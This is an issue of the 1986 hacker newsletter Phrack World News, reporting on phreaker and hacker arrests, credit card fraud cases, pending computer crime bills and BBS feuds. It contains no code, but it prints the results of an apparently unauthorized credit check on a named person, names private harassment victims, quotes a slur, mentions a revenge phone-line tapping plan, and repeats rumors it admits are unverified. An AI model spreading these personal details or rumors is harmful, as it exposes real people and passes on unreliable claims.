PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
PWN                                                                     PWN
PWN                      *^=-> Phrack World News <-=^*                  PWN
PWN                                                                     PWN
PWN                            Issue VI/Part 1                          PWN
PWN                                                                     PWN
PWN                         Compiled and Written by                     PWN
PWN                                                                     PWN
PWN                            Knight Lightning                         PWN
PWN                                                                     PWN
PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
```

Oryan QUEST Vs. Dan Pasquale June 21, 1986

Yes, our buddy from the west coast is back in action, this time against Oryan QUEST. Oryan QUEST was busted on April 6, 1986 (See PWN Issue IV Part 2), for hacking AT&T Mail, by the San Mateo Police Department and the FBI. Because of legal technicalities, the charges were dropped but, Oryan's computer was confiscated and never returned. He has since bought a new computer (IBM AT) and is now back among us.

It is believed that someone (Dan Pasquale?) must have found Oryan's notebook which contained his passwords on to bulletin boards around the country. One example of this is "The Radio Station Incident" (See PWN Issue IV Part 3) where a fake Oryan QUEST wandered the BBS and when questioned as to his legitimacy quickly dropped carrier.

Most recently Oryan QUEST has been getting job offers in computer security. He hasn't accepted any at this time. Also he has been getting several calls from Dan Pasquale. Dan wants Oryan's help to bust any and all hackers/phreaks. Dan is very pissed these days because someone charged $1100.00 worth of Alliance Teleconferences to his phone bill and now he wants revenge. He has stated that one of his main projects is to bust P-80, sysoped by Scan Man. Dan Pasquale says that Scan Man works for a long distance communications carrier. I personally think he has as much of a chance of busting P-80 Systems as a snowball staying frozen in a microwave.

Lets face it, if John Maxfield and the other investigators haven't busted P-80 yet, they never will...let alone some little police sergeant in California. Dan also added that he is going to "hose" Speed Demon Elite. He claims that he is already a member of SDE and that its only a matter of time before he takes it down forever. He also mentioned that he has placed a Dialed Number Recorder (DNR) on Radical Rocker's phone lines. Furthermore, it was learned that Dan Pasquale managed to get an account on to The Underground, sysoped by Night Stalker. It is unknown as to if Dan has anything to do with Night Stalker's bust.

Dan Pasquale also said, "I will bust these hackers any way I can!" To really understand what that statement means you would probably have to live in California. What Pasquale was referring to was moving violations. If you (a driver under 21) receive any type of moving violation, both your insurance company and your parents are notified. This raises your insurance rates and gets you into trouble. If you get two moving violations, kiss your license goodbye for at least 2 years.

Radical Rocker having heard about Dan Pasquale's plans to destroy Speed Demon Elite, went on a user purge and has destroyed any and all accounts that were held by those that he did not know personally. Speed Demon Elite is now a private BBS and supposedly Radical Rocker has now cleared things up with Dan Pasquale.

Information provided by Oryan QUEST and Radical Rocker

Marx and Tabas: The Full Story July 1,1986

It all started with Cory Andrew Lindsly aka Mark Tabas, age 19. He worked for the Colorado Plastic Card Company and had access to the plastic cards that credit cards were made with. He had taken 1350 and stashed them away for later usage.

His plan would have went perfectly if not for Steve Dahl. He was busted in Miami by the US Secret Service for whatever reasons. They gave him a chance to play ball. Dahl had heard about Mark Tabas and Karl Marx's scheme and after informing the Secret Service about this he was given an embossing machine. Steve Dahl then flew to Denver and set up the meeting. Mark Tabas lived in Denver and wanted his friend James Price Salsman aka Karl Marx, age 18, to join in on the fun. So Marx flew down on a carded plane ticket that Tabas had signed for.

The meeting took place in a room at the Denver Inn. The room was bugged and 19 cards (Visa, MasterCard, and some blanks) were made from a possible 140 that they had brought. They decided to celebrate by ordering champagne on the card of Cecil R. Downing.

A member of the Secret Service actually delivered the champagne to the room disguised as a waiter. Tabas signed for the drinks and the twosome were nailed. To make matters worse the SS also matched Tabas's signature with the signature used to buy the carded plane ticket.

The sentencing goes like this:

Maximum:	10,000 dollars	(Local Law)
Maximum:	250,000	(Federal Law)
Maximum:	10 years in jail	(both)

Or any combination of the three.

Both Tabas and Marx were let out on bail of five thousand dollars each. The actually charge is: The manufacturing and possession of unauthorized access devices. The U.S. Magistrate Hilbert Schauer will be overhearing the case.

There is a rumor that charges on Salsman were dropped and that he is in no trouble at all since he didn't actually buy the plane ticket, he was given it, he didn't steal the cards, and he didn't emboss them. So supposedly the Secret Service let Marx go because he didn't know about the cards, he was just there at the wrong time.

Information Provided By The Denver Post and Sally Ride:::Space Cadet

---

The Saga Of Mad Hacker July 15, 1986

Mad Hacker of 616 NPA 616 wrote a random Compuserve hacker because he was bored and wanted something to do. It ran constantly for about a week and was he surprised when it came up with an account. However he made the mistake of not checking to see whose account it was, he used the SIG's (Special Interest Group's) and ran up a bill slightly under $300.

About a month later he was living over at a friend's house and the owner of the account showed up, who just happened to be a family friend of the people that MH was staying with. He asked both of them (the teenagers that is) if they were using his account (they all had Compuserve accounts and the family knew they were computer buddies). Mad Hacker said no and truthfully meant it.

Now around July 1, 1986 the account owner turned the matter over to the Kalamazoo Police Department since CIS (Compuserve) could not find anything out beyond the dialup used to access the account. The police called around to everyone in the area ("everyone" meaning all the "real" hacks and phreaks, not rodents who think they're bad because they use handles) including Thomas Covenant and Double Helix. Most of everyone instantly forgot that Mad Hacker ever existed, but somehow they got a hold of the phone number where he was staying (at the time he was staying at his girlfriend's house, he was not living there before) and contacted the owner of the account and put out a warrant for Mad Hacker's arrest.

As of now, Mad Hacker faces *FELONY* charges because of the large amount of the bill. The warrant for his arrest has been suspended, letting the account owner to handle things in his own way. The owner has confiscated all of Mad Hacker's computer equipment (3 computers and hardware etc.) until the bill is completely paid back.

Mad Hacker has progressed from merely delivering clever obscenities over the fone to his adversary to actual vengeance. One example in the planning stages will be in the form of camping out in said account owner backyard (in a rural area), hooking up to a junction box, and running the account owner's Long Distance phone bill out of sight.

Mad Hacker is supposed to have a file on Junction Box Modeming coming soon, he is currently borrowing a computer from a friend.

Information Provided by Thomas Covenant

Lock Lifter *Busted* July 2, 1986

Lock Lifter was busted for hacking an MCI Vax. he had downloaded a list of MCI Calling Cards that he later abused and in return he received a *free* DNR on his line for about 3 months. He was also given a scare from MCI Investigations (for unknown reasons) previous to his visit from law enforcement officers and as such his BBS, The Black Chamber, was deleted and the userfiles were destroyed, so there really isn't much to worry about from the user's standpoint.

Lock Lifter had been making plans to take his board down anyway, so being without The Black Chamber is just an adjustment we would have had to make eventually regardless of Lock Lifters bust.

Information Provided By
Arthur Dent/Cyclone II/Kerrang Khan/The Seker

- -

Some notes from Cheap Shades:

"I was told by Arthur Dent that Lock Lifter did not have his computer anymore, but someone using LL's password called my AE, Metal Shop AE (for which he had lost his AE access but could still log on), and left me feedback in all caps (not like LL would do) that said something like PLEASE GIVE ME ACCESS TO THE GO AE FUNCTION." Arthur Dent has now confirmed that Lock Lifter did not make the call in question and that there is definitely a fed or someone with Lock Lifter's BBS passwords. Sysops be warned.

Daniel Zigmond: The Plot Thickens July 13, 1986

Daniel Zigmond appeared, for a short time, on Pirate-80. Scan Man let him on to make a statement and then shut him off the board. It is now left to the users to decide whether or not he should be allowed back on.

Information by Sally Ride:::Space Cadet

Some sources say that we are seeing "Whacko Cracko" syndrome, where the story gets more and more bizarre as versions get modified. Like TWCB, Zigmond supposedly says one thing to one person and something different to the next, depending on what he thinks they may want to hear.

The following information was found under in an anonymous post on an unspecific bulletin board. It would appear that someone performed a credit check on Daniel Zigmond (with TRW) and came up with some very interesting results.

As many of you should know, TRW keeps records of all major transactions you make, credit cards you have, house or car payments, bank accounts you own, your job, and many other things. Daniel Zigmond's TRW account is a little different, it has been flagged and the information is not there. What it does

show is that Daniel Zigmond holds the position of Staff Programmer at Carnegie Mellon University, a technical school in Pittsburgh, Pennsylvania. It also shows that he was born in 1959 and although it would appear that he is 27, Daniel claims to be 26. TRW lists his only bank account as being at the Pittsburgh National Bank.

What this would mean is that Zigmond has never owned a car, never rented a car, never owned or rented a house, never had a credit card, never made any major transactions, and has only one bank account.

During teleconferences on July 15th and 16th, several members of the PhoneLine Phantoms and myself questioned Zigmond about his TRW account and several other things. Zigmond claims to know nothing about why his account is like this and up till we brought up the fact that he worked at CMU, he had been telling people that he was a reporter only.

As far as his reasons for needing codes, passwords, etc... He says its so his boss (whomever it will be) will believe the story. Why shouldn't he believe it? Haven't there been enough articles on hackers and phreakers in the past? Its been in the news very often and I'm sure that everyone remembers the Richard Sandza articles, "Night of The Hackers" and "Revenge of The Hackers" from Newsweek Magazine.

Most recently Daniel Zigmond has been speaking with several members of the Neon Knights and he has obtained an account on the BBS World's Grave Elite, which is sysoped by Sir Gamelord, the Vice-President of the P.H.I.R.M.

All hackers and phreaks are welcome to call him to be interviewed, although I advise against it. Please do not call up to rag on him because it is pointless. One example happened during the 2nd conference when someone called on Danny's other line. They said "did we wake you up?" Danny said "no" and then they hung up.

Information Provided By Daniel Zigmond

TeleComputist; Subscribe Now! July 25, 1986

From: Forest Ranger and TeleComputist staff,
To: You!

TeleComputist has had a very positive response up to this time and we have received many requests for the free sample issue and now it is time to subscribe.

For the sample free issue please self addressed stamped envelope with 39 cents postage to: TeleComputist Newsletter P.O. Box 2003 Florissant, Mo. 63032

Also, please send subscriptions to the same address. The subscription fee for the newsletter will be twelve dollars a year, fifty cents for back issues. This is a monthly circulation and we encourage letters.

Information Provided by Telecomputist Staff

Telecomputist Newsletter/BBS (314)921-7938

[KL's notes: Both Taran King and I have seen the first issue and it is damn good. This is NOT a scam, we know the TeleComputist Staff personally and they will NOT rip you off. The newsletter itself is of fine quality both in its print and content. The sample issue was merely a shadow of the upcoming issues and it will continue to get better as time goes on. It is definitely worth the twelve dollars for the year subscription.]

==Phrack Inc.==

Volume One, Issue 7, Phile 9 of 10

```
PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
PWN                                                                     PWN
PWN                      *^=-> Phrack World News <-=^*                  PWN
PWN                                                                     PWN
PWN                            Issue VI/Part 2                          PWN
PWN                                                                     PWN
PWN                         Compiled and Written by                     PWN
PWN                                                                     PWN
PWN                            Knight Lightning                         PWN
PWN                                                                     PWN
PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
```

U.S. Telecom Retiring Uninet May 26, 1986

"Uninet is coming down"

Reston, Va. - U.S. Telecom Data Communications Company, Uninet Packet Switching Network will be retired as a result of the proposed merger of the company with GTE Telenet Communications Corporation.

The move came to light last week as a joint transition study team completed a plan detailing how the two companies will be merged. The merger is a result of a joint venture spawned by the two companies parents, GTE Corporation and United Talecommunications Inc.

The packet switches and related equipment which make up Uninet will be sold where possible, but a good deal of the equipment is likely to be discarded, a spokesman for the joint venture said.

Under the plan, the capacity of GTE Telenet Packet Switching Network will be increased to handle additional traffic resulting from transference of U.S. Telecom customers to Telenet, according to the spokesman.

The study groups considered integrating Uninet and Telenet because the external interfaces of each network are compatible but the internal protocols each network uses for functions such as networks management are substantially different and any attempt toward integration would require a massive development effort, spokesman said.

Moving Uninet's traffic to Telenet is far cheaper. Telenet currently supports six times as much traffic as Uninet, which means Telenet's capacity must only be incremented by one sixth.

Uninet will be phased out over a 120 day transition period, to begin when the joint venture is approved. The merger plan calls for all personnel of U.S. Telecom and GTE Telenet to be offered jobs with U.S. Sprint (now called U.S. Sprint, not Sprint/U.S. Telecom company since recent merger). The new company is headquartered in Reston, Virginia where GTE Telenet is currently headquartered. Submitted by Scan Man to Phrack Inc. From Communications Week, May 26 Issue

---

P-80 Newsfile

Computer Crime Bill Amended May 14, 1986

After three years of Congressional hearings, the U.S. House of Representatives is finally getting ready to act on a computer crime bill, but like everything else in Congress many different people have input, and the focus and scope of pending computer crime bills have changed in important ways during the past few months.

When bills are altered significantly, they are often written as "clean bills" and given new numbers. Computer crime measures are changing so fast it is

difficult to keep track of them.

What started out as The Counterfeit Access Device and Computer Fraud Act (HR 1001) became late last month The Computer Fraud and Abuse Act (HR 4562) which, although it has retained the same title, is now dubbed HR 4718 following the addition of some minor amendments.

The new bill, sponsored by Rep. William Hughes (D-N.J.), is very similar to the old one, however, and would impose severe penalties for illegally accessing government and financial computers and crack down on illegal computer bulletin board systems.

For more information on HR 4718, check the menu for bills in the US House of Representatives in the Legislation Database.

Information Provided by Cathryn Conroy

House Committee Approves New Computer Crime Bill May 14, 1986

The House Judiciary Committee has approved and sent to the full House a new computer crime bill that would impose severe penalties for illegally accessing government and financial computers and crack down on illegal computer bulletin board systems.

The bill (HR 4718), sponsored by Rep. William Hughes (D-N.J.), was passed by voice vote with no objection. It is aimed at closing loopholes in existing law and at helping to eliminate the "national malaise" of computer crime, Hughes said.

The bill "will enable us to much more effectively deal with the emerging computer criminal in our society," said Hughes, who chairs the House crime subcommittee.

Rep. Bill McCollum (R-Fla.), the ranking Republican on the crime subcommittee, added his support for the bill. He said it is time the nation began cracking down on computer criminals.

"We demand privacy, yet we glorify those that break into computers," McCollum said, citing films and television shows that have painted a sympathetic portrait of computer criminals.

The committee agreed to a single amendment to the bill -- one that would extend the list of computer systems protected by the measure to include those run by the brokers and dealers regulated by the Securities and Exchange Commission. McCollum, who sponsored the amendment, said the brokers and dealers provide some of the same services as banks and should receive equal protection against computer trespassers.

The bill was reported out unanimously from the crime subcommittee. Hughes said an identical companion measure is moving through the Senate and that he expects the bill will become law before the end of the 99th Congress in December. Hughes and McCollum agreed that the bill will help eliminate another glaring example of the failure of existing federal law to keep pace with technological advances.

"For the most part," he said, "our laws are rooted in the concept of property crimes, where someone trespasses into or steals another person’s property. "With computer crimes, the trespassing or theft is done electronically, not physically," he added. "Although the losses are often just as great or even greater than property crime, our laws are not current enough to keep pace with the changing technology used by the criminals."

Hughes was the author of the nation’s first computer crime law in 1984. That bill established a new federal crime for unauthorized access to classified information in government computers and a misdemeanor for accessing any federal computer or computer containing financial or credit information. The new measure would establish a:

-:- New felony for trespassing into federal interest computers, those run by or for the federal government, banks or states. Offenders would face five-year prison terms.

-:- Second felony for "maliciously trespassing" into a federal interest computer and causing more than $1,000 in damage.

-:- New category of federal misdemeanors involving the use of illegal BBSes to post private information, such as credit card data, phone account information and passwords.

"We need to establish clear guidelines for protecting the information stored in computers and for cracking down on those who knowingly put computers to criminal of malicious use," Hughes said.

Information Provided by J. S. Orr

Access To Government Computers Clarified June 9, 1986

Sen. Charles McC. Mathias (R- Md.) has introduced a bill in the U.S. Senate that would amend Section 1030 of Title 18 of the United States Code with the purpose of clarifying coverage with respect to access to computers operated for or on behalf of the federal government.

The legislation would clearly impose penalties on anyone who modified, destroyed or prevented use of information in a government computer system or who used or disclosed individually identifiable information in such a computer. The bill has been referred to the Senate Committee on The Judiciary. No subcommittee has yet been assigned.

Information Provided by Cathryn Conroy

Tap Interviews II...by Dead Lord July 14, 1986

The infamous Dead Lord is back and this time with an anonymous rag file that he entitled Tap Interviews II to start people thinking that the Infiltrator had written it. Lets look at this file in parts.

First Dead Lord starts out by saying that he is Infiltrator and then changes his mind and becomes Sharp Razor (who is supposedly in prison). His first interview was an imaginary exchange of words between him and Lex Luthor of the Legion Of Doom. The interview also was used to rag on Infiltrator by the way it was presented.

Dead Lord then decided to interview Executive Hacker of Chief Executive Officers (CEO). The funny part about this interview is that Executive Hacker is another handle used by Dead Lord. The only rag mentioned was that Executive Hacker didn’t know that Ultima IV had been released and that there were only two members in CEO. Dead Lord then goes on to say, "LOD is a group of egotistical fools..."

Then started the straight rags without the interview crap. This is where ole Dead Lord gives his opinion on eFerything. For the first few paragraphs he rags on The Doctor, SpecElite, pirates in general, Monty Python, and The Flying Circus BBS.

Then he starts giving descriptions of the people who attend the weekly TAP meetings:

"Cheshire is a tired old man, Broadway Hacker, who is an obnoxious slob anyway, stopped going, the "950 codes kids" Ninja NYC and his pals have mostly moved on, though Ninja NYC still attends. Ninja NYC is, at 17 years old, a complete criminal, the guy has stolen everything you can think of..."

"Two Sigmund Frauds also attend (they are partners) one is a skinny asshole who has an earing and the other I never spoke to, but he is he one who supposedly does all the BBS calling. There is also some friend of Ninja’s

who works for Northern Telcom."

"There is some young guy with a French accent who always smiles, and some middle aged fag who is always talking. Then there is MARK! Ye Mark, though he tries to be friendly, people try to stay away. He works at a Camera..." "He is slightly (very) unbalanced mentally, and always very confused. He is teased constantly but tolerated."

"There are also a few less important people, such as "Sid" some greasy kid who is proud to have had a $1700+ fone bill because he thought he was using a diverter. Right now, they are generally a motley bunch. Also they get kicked out of restaurants frequently now, and are down to meeting at Burger King. <SIGH> How pitiful..."

After all of the above bullshit, he talks about Lord Digital, his "cult," and his adventures with Paul Muad'Dib. Dead Lord still had more to say though, he decided to bring up Monty Python again as well as Phrack, TWCB, Stronghold East, Private Sector, and 2600 Magazine. All of what he had to say was completely bogus and Dead Lord claimed to be a member of Metal Shop Private, although he called it Metal Shop Elite, which is untrue. Fact is he was never a member, not even on the old MSP. He also claims that he has submitted articles for Phrack, but was turned down because they were original files. Best bet is that whatever he was writing, he didn't know what he was talking about.

Some notes to Dead Lord, as far as why Taran King was in the hospital; First off it was a psychiatric ward not a "hospital". Second, why don't you go and read PWN 5-1 for the real story of what happened. Third, the cosysop of Stronghold East is not the Slayer, it is Slave Driver.

The truth is that both MSP and SE refused to let Dead Lord on and he holds a grudge. He then went on to say that both 2600 Magazine and Private Sector sucked and that they always have. Of course I am sure that Dead Lord could easily put out a better magazine then either/or 2600 and Phrack Inc., and he of course has shown that he can run a better BBS than Private Sector or Metal Shop Private. He ragged on several other bulletin boards such as Inner View and Speed Demon Elite.

After all of that he comes back to the subject of Legion of Doom, starts on Tribunal of Knowledge, and the says why Chief Executive Officers is better.

"LOD's main claim to fame is that Lex Luthor types up shitloads of manuals and plasters LOD all over them. Getting published in 2600 every other month probably helps also."

"Another emerging group CEO, isn't as ridiculous as LOD, I mean the members [all two of them] know a lot, and write intelligent stuff..."

"Executive Hacker and Corporate Criminal, not much of a group even if these 2 do stack up better than the entire LOD."

His last rags were on Adventurer's Tavern and Disk Rigger.

- -

Most of you by now are probably wondering how we tracked him down. Well for starters Dead Lord made it a lot easier on us by deciding to mention that he lived in NYC. He also talked a lot about others in the NYC area. Dead Lord is a member of Draco Tavern. Dead Lord was refused access to Metal Shop Private and Stronghold East. Dead Lord's file was refused for Phrack Inc. The clincher however was in finding that Dead Lord was actually Executive Hacker, and I'm sure that many of you noticed that CEO, the group the Executive Hacker belongs to, was highlighted and not ragged on.

Some other interesting things about Dead Lord include that fact that he started a rumor in New York City, that Taran King had appeared on a talk show dealing with hackers and the he is responsible for giving out Sigmund Fraud's and Ninja NYC's numbers to Daniel Zigmond and he probably has given him other numbers as well.

It has been said that Dead Lord's phone number has been disconnected by outside

sources several times in the past and that the entire TAP Meeting attendees group is out to cause him major physical damage.

Quicknotes

MOB RULES was indited on five counts of wire fraud by the secret service, the charges dated back to 1984. This is supposedly part of the reason that the Marauder took down Twilight Zone, but this is pure rumor.

More talk about Broadway Hacker being a REAL fed or fed informant has sprung up. We at PWN are looking for factual evidence that this is true.

Night Stalker, sysop of the Underground, was busted for something dealing with Transference of Funds. It is unknown as to if Dan Pasquale had anything to do with this bust. Credit Card numbers were frequently found here as well. His phone line is being tapped and he cannot really discuss his bust to much. He is also under constant surveillance wherever he goes. Look for a full story in Phrack World News VII.

The rumor that Carrier Culprit was busted is untrue, but he did receive a call from AT&T Security, regarding Alliance Teleconferencing Services.

==Phrack Inc.==

Volume One, Issue 7, Phile 10 of 10

```
PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
PWN                                                                     PWN
PWN                      *^=-> Phrack World News <-=^*                  PWN
PWN                                                                     PWN
PWN                            Issue VI/Part 3                          PWN
PWN                                                                     PWN
PWN                         Compiled and Written by                     PWN
PWN                                                                     PWN
PWN                            Knight Lightning                         PWN
PWN                                                                     PWN
PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
```

HoloPhax Phreaker Vs. USA July 16, 1986

The following is a segment taken out of the summons served to HoloPhax Phreaker on the above date. The actual summons was over 10 pages long and was mostly depositions from witnesses and/or other testimonies that incriminate HoloPhax Phreaker. I am of course substituting HoloPhax Phreaker for his real name.

- -

The United States of America and the State of Florida Vs. HoloPhax Phreaker

U.S. and Florida Citizen HoloPhax Phreaker, is believed and under suspicion of such to have violated the following state and federal laws:

- U.S. Copyright Laws
- U.S. Telephone Infringement Act
- Florida State Telephone Harassment Laws

Reported a false emergency to or harassing the following STATE bureaus:

- Seminole County Police Department
- Seminole County Fire Department
- Orange County Emergency Line (911)
- Orange County Police Department
- Orange County Fire Department
- Orange County Bomb Squad
- Orange County Special Weapons Attack Team (S.W.A.T.)

and the following FEDERAL bureaus:

- Federal Bureau of Investigation (F.B.I.), Tampa office
- Federal Bureau of Investigation (F.B.I.), Orlando office
- United States Secret Service, Orlando office
- National Security Agency, Washington D.C. office
- Central Intelligence Agency (C.I.A.), Washington D.C. office
- Internal Revenue Service (I.R.S.), Tallahassee office
- United States Marine Patrol, Titusville office

and to have harassed the following private citizens or companies:

John F. Sheehan	Bob Driscol	Erwin V. Cohen
Phillip Minkov	Margaret Branch	Harley Pritchard
Gladys Smith	Kathleen Gallop	Frank Yarish
Aida Smith	Ron L. Ebbing	Pat C. McCoy
Kent Schlictemier	Doyle E. Bennet	Arthur Meyer

Rape Crisis Center
Poison Control
Spouse Abuse
Koala Treatment Center
Chemical Dependency Unit
Florida Hospital Center for Psychiatry
Orlando General Hospital; Alcohol and Chemical Dependency Unit

Cocaine Hot Line

U.S. and Florida Citizen HoloPhax Phreaker is also believed and suspected of the following felonies and/or misdemeanors:

Illegal manipulation of telephone company controlled conversations and devices
Fraudulent Use of a Credit Card (i.e.: Carding)
Grand Theft
Possession of Stolen Property
Defrauding the Telephone Company (i.e.: Phreaking)
Illegal Entry (i.e.: Hacking)
Annoying or Harassing calls
Theft
Breaking and Entering
Assault and Battery
Harassment of a Government Emergency line
Threats to the life of the President of the United States of America
Possible Treason to the United States of America
- -
Well, wasn't that nice, especially the parts about *treason* and threats to the life of the President of The United States of America. HoloPhax Phreaker claims that the majority of the crimes, including all of the harassment charges, were committed on an Alliance Teleconference that he was NOT in control of and as such had no control over what/who was called and what hap pened. One example of this has to do with threatening the life of the President, HoloPhax says that this was done on a confer ence with the U.S. Secret Service.

It all started with a phone call at about 12:30 PM on July 16, 1986. The call was placed from a CB (Citizen's Band) radio in a car. They unknown caller told HoloPhax that the police were on their way to search his house and would be there in 15 minutes. The caller also said that the law enforcement officials had a warrant to search HoloPhax's property, however they did not specify as to what was to be looked for. HoloPhax grabbed everything he could and buried it all in his backyard.

Sure enough, within 15 minutes his *expected* guests arrived. One cruiser and four unmarked vehicles pulled up blocking his and the neighbor's driveways. About sixteen people came to the door and HoloPhax let them in, after all they did have a warrant. Several of them pushed HoloPhax aside and then the search started on the first floor. While some searched through the sofa, other furniture, and drawers, a couple of them flashed the warrant as well as their identification, U.S. Secret Service and National Security Agency.

They then went up to HoloPhax's room and immediately check his phone's, computer's, and television's serial numbers. They also took around 30 pictures of things in his room. They then searched through stacks of worthless printouts and confiscated several dozen of his disks that contained pirated terminal programs, utilities, text files, and games.

When they couldn't find any hack/phreak material or a modem, they became angry and started ripping the sheets off the beds, pulling up the carpet from the floor, and knocking on the walls. While most of them were doing this, another agent handed HoloPhax a paper that stated exactly what they were looking for.

He told HoloPhax that since they had not found anything on the list, they could only leave with what little they had and could NOT take HoloPhax into custody. They searched a couple of other rooms, but not as thorough as they had searched HoloPhax's room. They had taken books off the shelves and flipped through their pages, looked inside pillow cases and under some loose boards in the floor. After 1- 1 1/2 hours they finally left and said that HoloPhax would be contacted very soon for a hearing date.

One of the more interesting members of the search team was Richard Proctor (See PWN 5-5 for more information on Richard Proctor).

He wore little round glasses that were tinted so you couldn't see his eyes. He had long brown hair (longer than a business person should...) and was wearing a

suit. He had fair skin, but he wasn't really tan. He looked like a mix of a dude out of Woodstock and someone from IBM management. He didn't say much, and only spoke directly to HoloPhax once. He asked,"Where the fuck are you hiding the codes!?" HoloPhax responded with, "Go fuck your sister!" This really pissed Proctor off. Proctor then proceeded to tearing up his room pretty bad. He seemed to know as much about HoloPhax as the NSA and SS guys did (but then he was probably briefed ahead of time).

There was also a representative from the local sheriff's department as well as one from the F.B.I. They asked HoloPhax several questions , most of them were directed to a "mafia" type group called PHBI that is semi-local to HoloPhax's area.

They seemed to want to connect HoloPhax to many "hits" PHBI had done on people, businesses, and the government. They did not make clear what it was they were trying to say HoloPhax did, but they sure did try many ways of tricking him into admitting that he was a member of this group or some other phreak or anarchist league.

Ok, now going back to the summons, it was about ten pages long and most of it was printouts of accounts on bulletin boards and interviews with people that knew something of HoloPhax's activities or activities of close aquaintences.

The Infiltrator and HoloPhax used to go to the same school in 10th grade and in the summons there was an interview with the police officer of that school that mentioned some of the "jobs" that "they" had pulled there and never got caught for. Infiltrator was also mentioned in a note by some guy that was named John Sheehan who had been harassed by phone/credit for 1 1/2 years. He said that HoloPhax and Infiltrator were responsible for the 140 hours of tape he had. Infiltrator was also mentioned in several BBS printouts.

The law enforcement officials did acquire several of the older issues of Phrack Inc. Newsletter and they kept trying to make HoloPhax admit to writing files on credit fraud, phreaking, or hacking. Specifically, as far as hacking, were files on MILInet and ARPAnet.

The handle they were looking for was Agent Orange, which HoloPhax had gone by for 6 years. He changed his handle to HoloPhax after an incident that took place roughly a year ago when HoloPhax was busted for hacking Compuserve and N.A.S.A. accounts. Law enforcement officers had also tried to get him for phreaking, but that attempt failed.

As far as the mysterious phone call before the bust, HoloPhax thinks that maybe the PHBI got wind of what was going down and warned him. How or why he doesn't know. It is really unknown as to why he is suspected of being a member of this group.

HoloPhax admits a guilty plea for the charges of Illegal Entry (Hacking), Defrauding the phone company (Phreaking), a little harassment, and possession of stolen property. He pleas innocent to the rest of the charges.

HoloPhax's last statement was that he will be back into hack/phreaking in the near (maybe distant if convicted) future. He is always available for conferences if you have questions.

Information Provided by HoloPhax Phreaker
through interview with Knight Lightning

Lightman's Stories...Hoax or Fact? July 20, 1986

Many of you should remember last issue's article about David Lightman and Blade Runner. After that article was printed, many other points of view were brought up. The following does not necessarily represent the views of Phrack, Phrack World News, or myself.

- -

According to Ryche, a phreak in the 214 NPA, David Lightman doesn't like Blade Runner because of both the P.H.I.R.M. and Worlds Grave Elite kicking him out as

Co-Sysop of that board.

This of course made David Lightman very angry and he decided to change Blade Runner's phone number. This of course made Blade Runner very angry as well and since he is over 18 years of age, he decided to call David's father and let him know what his son has been up to. Supposedly father and son had a long talk and David lost his modem privileges for a while.

Ryche also cleared up the rumor about Blade Runner working for Southwestern Bell Security. David Lightman, using Credimatic, performed a credit check on a name that he thought was Blade Runner's, but was in reality a relative of Blade Runner. Anyway what David found was that this person worked for ITT. Now as many of you should know, ITT has many subsidiaries that are non-Telcom related. Nevertheless, David interpreted this guy as being Blade Runner and then for unknown reasons started telling people that Blade worked for Southwestern Bell Security.

- -

That was all Ryche had to say about the Lightman/Runner Controversy. This is what he says about David Lightman's "so-called" involvement with Captain Midnight and the Administration Voice Mailbox.

When Lightman started his Administration Mailbox, several of the local rodents decided to inform the FBI that Lightman was providing a way to defraud the phone company in the mailbox service. From then on, the FBI must have been monitoring the mailbox themselves and when David told everyone that Captain Midnight could receive messages there and that he called every week, this must have made things very interesting.

Ryche also added," Dave set out to make everyone think he knew Captain Midnight and he could reach him. He has also, in the past on phone conversations, said that Captain Midnight was on Administration Board 1 or some Administration board. He has also told me and a few others that he was in the Legion Of Doom."

Information Provided By Ryche

- -

Almost all of the above article was from posts on the Phrack board on Metal Shop Private. David Lightman said that all of what Ryche says is lies, but that he was sick of discussing it and did not want to bring it up again.

- -

July 23, 1986

One Wednesday, July 23, 1986 a new message appeared on David Lightman's Voice Mailbox that said something like this, 'Attention, please listen! From this day forward, I will no longer be calling any BBSes. I have run into trouble and I cannot discuss it over the phone line. Telecom College and the Secret Passage on Castle Alcazar will be turned over to Radar Detr. Any associates of mine are warned to be very careful. Any sysop whose BBS I was on is asked to delete my account. Again, I can not discuss this over the phone line. It has really been a blast knowing all of you guys over the past 4 years. I have discovered that no one is immune to getting caught. I have also found out [studder studder] that it [hacking/phreaking] is not worth the price you pay once you are caught. Please give this news to Knight Lightning and have him put it in Phrack World News. That is the best way I know of to warn my associates. Again I cannot discuss this over the phone line, please do not call back. That's about it, bye.'

Please note that the above is not Lightman's exact words, but it is the general idea of what Lightman said. Also, on the same day, Sticky Fingers a 214 NPA phreak got a similar message on his voice mailbox.

On Wednesday evening at about 6:30 p.m. Mr. BiG, sysop of Phantasm Elite, received a call from David Lightman (or rather someone using DL's password). Lightman didn't post on this call which is unusual because Lightman always posts when he calls. David Lightman logged off at about 6:45 PM. So if this really was Lightman and he just didn't post then that places his "trouble" or bust somewhere between 6:45 PM and 10:30 PM (When I called his mailbox). Question: Who gets busted in the evening?

The next day, July 24, Mark Time logged on to Castle Alcazar and saw that Lightman was the last caller. Again there were no new posts by David Lightman on the board. So, if Lightman was busted then the law enforcement agencies do indeed have his BBS and password files. The only other possibility is that Lightman was not busted and that this is all a hoax performed for unknown reasons.

On the same day, Ryche called Lightman to ask what the deal was. He refused to talk about it over the phone. However, they did set a time that Lightman would call him from a pay phone to discuss it. Later, Lightman called Ryche back and told him that he would not discuss the bust until "a few more things were cleared up."

That evening, I learned from The Safe Cracker that David Lightman was not actually busted and that he had received a call from AT&T Security about Blue Boxing. This could mean that they knew he boxed [however he lives in an ESS area] or that he was on a boxed Alliance Teleconference. Either way it matters little. Now nobody can get in touch with him and the message on his mailbox has changed.

Information Provided By Sticky Fingers & Ryche

\003